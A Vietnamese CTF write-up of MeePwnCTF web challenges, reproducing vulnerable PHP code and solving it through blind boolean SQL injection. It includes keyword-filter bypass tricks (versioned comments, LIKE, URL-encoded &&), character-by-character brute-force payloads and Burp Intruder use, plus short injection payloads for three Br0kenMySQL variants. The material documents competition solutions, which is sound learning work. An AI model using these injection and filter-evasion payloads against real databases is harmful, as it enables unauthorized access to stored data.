[Writeup] Flag Shop & Br0kenMySQL v1,v2,v3 — MeePwnCTF

Task web: Flag Shop

Bài này ta có được source từ http://128.199.121.135/index.php.bak

Đoạn code xử lý:

<?php
$servername = "there is no place like home dude!!!";
$username = "XXXXXXXXXXXXX";
$password = "XXXXXXXXXXXXX";
$dbname = "flagshop";
$conn = mysqli_connect($servername, $username, $password, $dbname);
if (!$conn) {
die("Connection failed: " . mysqli_connect_error());
}
if(isset($_POST["username"]) && !empty($_POST["username"]) && isset($_POST["password"]) && !empty($_POST["password"]))
{
$username = mysqli_real_escape_string($conn,$_POST['username']);
$password = mysqli_real_escape_string($conn,$_POST['password']);
$sql = "SELECT * FROM users WHERE username='$username' AND password='$password' limit 1";
$result = mysqli_query($conn, $sql);
if(mysqli_num_rows($result) == 0)
echo "<span style='color: red;'/><center><h1><tr>Nothing is easy. Go away dude!!!!</h1></center></style></span>";
else{
$sql1 = "SELECT * FROM buyflag WHERE username='admin' limit 1";
$check1 = mysqli_fetch_array(mysqli_query($conn, $sql1));
echo "<tr><center><strong><td><font color='yellow' size=8 >Need " . $check1["value"] . " gold to buy flag dude!!!</font></td>";
echo "<tr><center><strong><td><font color=#ff3300s size=8 >==========================</font></td>";
$sql2 = "SELECT * FROM buyflag WHERE username='$username' limit 1";
$result2 = mysqli_fetch_array(mysqli_query($conn, $sql2));
echo "<tr><center><strong><td><font color='red' size=8 >Hello: " . $result2["username"] . "</font></td>";
echo "<tr><center><strong><td><font color='red' size=8 >You have: " . $result2["value"] . " gold</font></td>";

if(isset($_POST['buyflag']) && !empty($_POST['buyflag']))
{
$buyflag=$_POST["buyflag"];
$buyflag=preg_replace('/drop|sleep|benchmark|load|substr|substring|strcmp|union|and|offset|mid|binary|regexp|match|ord|right|locate|left|rpad|length|hex|write|join|=|-|#| |floor|=/i','~nothingisezdude~',strtolower($buyflag));
$sql3 = mysqli_query($conn,"UPDATE buyflag SET value=value+1 WHERE username='admin'");
$sql4 = mysqli_query($conn,"UPDATE buyflag SET value=value+1 WHERE username='$buyflag'");
}
}
}
Theo code trên thì khi nhập đúng username/password và username cho tham số buyflag thì gold sẽ được tăng lên 1 giá trị, nhưng đồng thời gold của username là admin cũng sẽ tăng.
Chú ý tại phần code xử lý liên quan đến buyflag ($sql4), đây là một bug Sql injection (biến $buyflag) yêu cầu phải bypass việc filter các keywork thường được sử dụng trong việc khai thác lỗi Sql injection. Tuy nhiên còn khá nhiều keywork chưa bị lọc, đủ để cho phép ta exploit lấy thông tin từ DB.
Bypass whitespace: sử dụng /*!50000*/
Bypass dấu = : sử dụng LIKE
Bypass AND : sử dụng && (%26%26 khi send request)
Payload sau dùng để lấy thông tin vê table chứa flag:
messi' && if(((select table_name from information_schema.tables where table_schema like database() && table_name not like 'users' && table_name not like 'buyflag') like 'flag%' ),1,0) like '1
Chú ý tại đoạn like 'flag%' : giá trị trong nháy đơn chính là text ta sẽ bruteforce lần lượt các ký tự và dựa vào việc gold tăng hay không để biết ký tự đúng.
(Ngoài ra, ta cũng có thể sử dụng một số hàm khác không bị filter để cho ra được kết quả như ý muốn như lpad, instr,...Có kha khá cách để inject vào)
Payload bypass filter:
messi'/*!50000*/%26%26/*!50000*/if(((select/*!50000*/table_name/*!50000*/from/*!50000*/information_schema.tables/*!50000*/where/*!50000*/table_schema/*!50000*/like/*!50000*/database()/*!50000*/%26%26/*!50000*/table_name/*!50000*/not/*!50000*/like/*!50000*/'users'/*!50000*/%26%26/*!50000*/table_name/*!50000*/not/*!50000*/like/*!50000*/'buyflag')/*!50000*/like/*!50000*/'flagfa%'/*!50000*/),1,0)/*!50000*/like/*!50000*/'1
Bài này tác giả chỉ cho hữu hạn 7 account để test, và ta sẽ chỉ có thể dựa vào kết quả thay đổi số gold ở phần response content để biết được kết quả của query inject vào là đúng hay sai. Điều này dẫn đến việc khai thác lỗi có thể bị nhầm lẫn vì thời điểm đó có thể nhiều team cùng dùng chung account. Nên việc khai thác lỗi phải check lại đúng hay không. Trường hợp này Intruder của Burpsuite rất hữu dụng :)
Tab Payload, add vào các ký tự a-z, A-Z,0-9, ký tự đặc biệt (ký tự _ ở cuối cùng). Ký tự _ là một wildcard tương tự như % khi sử dụng LIKE nên dẫn đến nhầm lẫn khi tôi tự tin đoán rằng ký tự tiếp theo sau từ 'flag' là _ (flag_ rồi gì gì đó). FAIL quá :).
Trong tab Options, phần Grep - Extract sẽ add như sau để khi start ta sẽ thấy được request nào làm gold tăng:
Start intruder và kết quả, char tiếp theo của tablename mà ta đang tìm kiếm là chữ 'f':
Cuối cùng ta có bảng chứa flag là flagflag7847560c748814fd3070e9149a9578bd
Các bước khai thác tiếp theo để lấy column, và data từ table này tương tự và khá đơn giản.
Column tên là flag, payload để lấy flag - tương tự như trên:
messi'/*!50000*/%26%26/*!50000*/if(((select/*!50000*/flag/*!50000*/from/*!50000*/flagflag7847560c748814fd3070e9149a9578bd)/*!50000*/like/*!50000*/'m%'/*!50000*/),1,0)/*!50000*/like/*!50000*/'1
Sau tất cả, ta sẽ có được flag là meepwnctf{all_the_roads_lead_to_rome@31337}
Nhiệm vụ cuối cùng nhập flag được giao cho 1 thanh niên xấu trai, lầy lội, bựa nhân nên không biết thanh niên ấy nhập gì vào, chắc là MeePwnCTF{all_the_roads_lead_to_rome@31337}  :D
Task web Br0kenMySQL v1,v2,v3
Url:
Br0kenMySQL
<title>Br0kenMySQL</title><h1><pre>
<p style='color:Red'>Br0kenMySQL</p>
<?php
if($_GET['debug']=='?') die(highlight_file(__FILE__));
require '../config.php';
$link = mysqli_connect('localhost', MYSQL_USER, MYSQL_PASSWORD);
if (!$link) {
die('Could not connect: ' . mysql_error());
}
if (!mysqli_select_db($link,MYSQL_USER)) {
die('Could not select database: ' . mysql_error());
}
$id = $_GET['id'];
if(preg_match('#sleep|benchmark|floor|rand|count|select|from|\(|\)|time|date|sec|day#is',$id))
die('Don\'t hurt me :-(');
$query = mysqli_query($link,"SELECT username FROM users WHERE id = ". $id);
$row = mysqli_fetch_array($query);
$username = $row['username'];

if($username === 'guest'){
sleep(5); // wait
$ip = @$_SERVER['HTTP_X_FORWARDED_FOR']!="" ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR'];
if(preg_match('#sleep|benchmark|floor|rand|count|select|from|\(|\)|time|date|sec|day#is',$ip))
die('Don\'t hurt me :-(');
var_dump($ip);
if(!empty($ip))
mysqli_query($link,"INSERT INTO logs VALUES('{$ip}')");
$query = mysqli_query($link,"SELECT username FROM users WHERE id = ". $id);
$row = mysqli_fetch_array($query);
$username = $row['username'];
if($username === 'admin'){
echo "What, again ???????!@#$!@#$!@#$\n";
echo "Last one, promise!\n";
die(FLAG_3);
}
echo "Nothing here";
} else {
echo "Hello ".$username;
}
?>
</h1>
</pre>
1
Có lẽ có đến v3 Br0kenMySQL  là do cả v1, v2 các team giải ra chưa đúng với ý tưởng cách giải của tác giả nên mới phải ra đến bài v3. Bài v1 thì sử dụng thông tin truyền qua X_FORWARDED_FOR trong http header , v2 thì sử dụng timestamp và ở bài v3 sẽ sử dụng gán biến:
Payload v1:
?id=if(((select sum(ip) from logs where ip=999912)=999912), 1, 2)
Payload v2:
id=case when @@timestamp mod 1 > 0.5 then 1 else 2 end;
Payload v3:
id=case when @a is null then @a:=2 else @a:=@a-1 end
Flag là :
  • MeePwnCTF{_b4by_tr1ck_fixed}
  • MeePwnCTF{_I_g1ve__uPPPPPPPP}
  • MeePwnCTF{_I_g1ve__uPPPPPPPP_see_you_next_Year}
Nhiệm vụ cuối cùng vẫn thuộc về thanh niên xấu trai, lầy, bựa của nhóm.